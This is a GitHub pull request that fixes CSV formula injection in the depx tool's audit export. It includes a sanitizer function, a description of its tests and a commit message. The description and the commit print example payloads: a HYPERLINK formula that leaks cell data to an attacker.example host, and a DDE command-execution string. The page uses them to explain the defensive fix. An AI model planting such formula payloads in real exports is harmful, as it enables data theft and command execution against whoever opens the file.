Skip to content

fix(output): neutralize CSV formula injection in audit export#7

Merged
Mzack9999 merged 1 commit into
projectdiscovery:mainfrom
tejgokani:fix/csv-formula-injection
Jun 19, 2026
Merged

fix(output): neutralize CSV formula injection in audit export#7
Mzack9999 merged 1 commit into
projectdiscovery:mainfrom
tejgokani:fix/csv-formula-injection

Conversation

@tejgokani

Copy link
Copy Markdown
Contributor

Summary

depx audit --output-format csv can emit a CSV that executes attacker-controlled formulas when opened in a spreadsheet application. Finding fields written to the CSV (name, summary, ids, …) are influenced by the very thing depx reports on — malicious-package metadata — so a crafted package can turn an exported report into a code-execution / data-exfiltration vector against the analyst. This PR neutralizes the fields per OWASP guidance and adds regression coverage.

This is CSV formula injection (CWE-1236).

Problem

WriteAuditCSV writes rows through encoding/csv. The standard library writer correctly quotes fields containing commas, quotes, or newlines, but it does not neutralize the leading characters that spreadsheet engines (Excel, LibreOffice Calc, Google Sheets) treat as the start of a formula: =, +, -, @, tab (0x09), and carriage return (0x0D).

The exported fields are attacker-influenced by design — depx's job is to describe malicious packages:

  • Finding.Summary is assigned directly from the advisory/feed summary in internal/source/entry_from_vuln.go (entry.Summary = vuln.Summary). This text comes from OSV MAL-* advisories and the live X/Grok-curated intelligence feed.
  • Finding.Name, Finding.IDs, Finding.Version, and Finding.Source are likewise derived from package/advisory data.

No formula or control-character sanitization exists anywhere in the output path today, so these values reach the CSV verbatim.

Reproduction

A malicious (or hijacked) package whose name or advisory summary begins with a formula trigger — for example a summary of:

=HYPERLINK("http://attacker.example/?leak="&A1,"open")

or a package name of:

=cmd|' /C calc'!A0

is written to the report unchanged:

depx audit ./project --output-format csv -o report.csv

When the analyst opens report.csv in Excel / LibreOffice Calc / Google Sheets, the cell is evaluated as a formula, enabling:

  • Silent data exfiltration=HYPERLINK(...) / =WEBSERVICE(...) / =IMPORTXML(...) can leak adjacent cell contents to an attacker-controlled URL.
  • Command execution — legacy DDE payloads such as =cmd|' /C calc'!A0 on vulnerable/misconfigured Excel installs.

This is especially relevant for depx because the tool is run by security teams on known-malicious inventory, i.e. exactly the data most likely to be hostile.

Fix

Neutralize every field of each data row at the single write choke point in WriteAuditCSV. When a field begins with a formula trigger, it is prefixed with a single quote (') so the spreadsheet treats the cell as literal text — the OWASP-recommended mitigation.

func sanitizeCSVField(s string) string {
	if s == "" {
		return s
	}
	switch s[0] {
	case '=', '+', '-', '@', '\t', '\r':
		return "'" + s
	}
	return s
}

Properties of this approach:

  • No layout change — the column set and ordering are untouched; only the rendered value of a hostile cell changes.
  • No public API changeWriteAuditCSV's signature and behavior for benign data are identical.
  • Human-readable — values remain legible (a leading ' is the standard "force text" convention).
  • Header is unaffectedauditCSVHeader is static and trusted; only data rows are sanitized.

I considered wrapping every field in a tab/space or rejecting the export, but a leading-quote prefix is the least surprising, most widely-recommended option and keeps reports usable.

Testing

Added internal/output/csv_test.go:

  • TestSanitizeCSVField — table-driven unit coverage of every trigger character plus benign inputs (e.g. left-pad is untouched).
  • TestWriteAuditCSV_FormulaInjection — end-to-end: builds an audit.Result with a malicious name and summary, writes the CSV, re-parses it, and asserts both fields are neutralized. This test fails without the fix (fields written raw with a leading =) and passes with it.

Local gates (per CONTRIBUTING.md):

go test ./internal/output/ -race -count=1   # ok
gofmt -l internal/output/                    # clean
go vet ./internal/output/                    # clean
go build ./...                               # ok

Checklist

  • Regression test fails without the fix, passes with it
  • go test ./internal/output/ -race passes
  • gofmt / go vet clean
  • go build ./... succeeds
  • No public API or CSV-layout change

WriteAuditCSV writes finding fields through encoding/csv, which quotes
delimiters but does not neutralize spreadsheet formula triggers. The
exported fields are attacker-influenced by design: depx reports on
malicious packages, and Finding.Summary flows straight from the OSV
advisory text and the live X/Grok-curated intelligence feed
(internal/source/entry_from_vuln.go), while Finding.Name is the package
name itself.

A malicious package whose name or summary begins with '=', '+', '-',
'@', a tab, or a CR therefore lands verbatim in the CSV. When an analyst
opens the report in Excel, LibreOffice Calc, or Google Sheets, the cell
is evaluated as a formula, e.g.:

    =HYPERLINK("http://attacker.example/?leak="&A1,"open")
    =cmd|' /C calc'!A0

leading to silent data exfiltration (HYPERLINK/WEBSERVICE) or command
execution (DDE). This is CSV injection (CWE-1236).

Neutralize every field of each data row at the write choke point by
prefixing a single quote when it starts with a formula trigger, per
OWASP guidance. Fields stay human-readable, the column layout is
unchanged, and there is no public API change.

Adds csv_test.go: a regression test that fails without this fix and unit
coverage for sanitizeCSVField.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
@neo-by-projectdiscovery-dev

neo-by-projectdiscovery-dev Bot commented Jun 16, 2026

Copy link
Copy Markdown

Neo - PR Security Review

No security issues found

Comment @pdneo help for available commands. · Open in Neo

@Mzack9999 Mzack9999 self-requested a review June 16, 2026 20:41
@Mzack9999 Mzack9999 merged commit 7f0515b into projectdiscovery:main Jun 19, 2026
10 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants